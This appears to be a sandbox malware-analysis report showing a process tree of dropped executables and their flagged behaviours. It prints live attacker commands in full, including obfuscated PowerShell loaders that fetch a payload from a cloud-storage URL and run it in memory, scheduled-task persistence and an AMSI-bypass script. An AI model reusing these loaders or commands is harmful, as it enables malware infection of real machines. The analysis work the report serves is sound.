- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "cb869d1b-7065-4300-9843-b1b1b37a11cac"5⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "cb869d1b-7065-4300-9843-b1b1b37a11cac" /tr "C:\ProgramData\cbdbbbbacac.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\LW.exeLW.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\7.exe7.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\erererer.exeerererer.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exeClient-built.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File rs.ps14⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe3.exe4⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\arphaCrashReport64.exearphaCrashReport64.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\ledger-live-desktop-2.133.0-win-x64.exeledger-live-desktop-2.133.0-win-x64.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe1.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\gJxIPCc.exegJxIPCc.exe4⤵
- Deletes itself
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwA4ADYANgBpAGsAawBrAGwALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADgANgA2AGkAawBrAGsAbAAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fabric-installer-1.1.0.exefabric-installer-1.1.0.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\javaw.exe"javaw.exe" "-version"5⤵
-
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\javaw.exe"javaw.exe" "-jar" "C:\Users\Admin\AppData\Local\Temp\a\fabric-installer-1.1.0.exe" "-fabricInstallerBootstrap" "true"5⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2.exe2.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exevnc.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bexitor%20Installer.exeBexitor%20Installer.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\a\hitpaw-edimakor-bing_8850.exehitpaw-edimakor-bing_8850.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2916 -s 13405⤵
- Program crash
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "2236" "2096" "1936" "2100" "0" "0" "2104" "0" "0" "0" "0" "0"5⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\regedit.exeregedit.exe /s aaa.reg4⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
- Runs .reg file with regedit
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\pk.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\pk.exe" EdmsLauncher5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\EdmsLauncher.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\EdmsLauncher.exe"5⤵
- Manipulates Digital Signatures
- Loads dropped DLL
- Modifies trusted root certificate store through registry
- Modifies registry class
- Modifies system certificate store
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show sslCert ipport =0.0.0.0:150026⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http delete sslCert ipport =0.0.0.0:150026⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add sslcert ipport = 0.0.0.0:15002 certhash = 873ba9adcf0babcf88bef9a12004a41ea9b49274 appid = "{9C2B08E6-A284-4B0C-A742-392C203C90F0}"6⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show urlacl url = https://+:15002/EdmsLauncher/6⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add urlacl url=https://+:15002/EdmsLauncher/ user=GUQOYIST\Admin6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\c3756a729c074f17956a9e2eb2b1aa08_crypted_build.exec3756a729c074f17956a9e2eb2b1aa08_crypted_build.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exefastping_silent_v4.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe5⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingAgent.exe5⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingService.exe5⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2FgduM7.exe2FgduM7.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\a\2FgduM7.exe"C:\Users\Admin\AppData\Local\Temp\a\2FgduM7.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\b5e36a1b20c5408f8914a406fc861d33_crypted_build.exeb5e36a1b20c5408f8914a406fc861d33_crypted_build.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\clean.execlean.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\temp.exetemp.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOZHyYF.exeLOZHyYF.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\a\LOZHyYF.exe"C:\Users\Admin\AppData\Local\Temp\a\LOZHyYF.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exeInstaller_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskS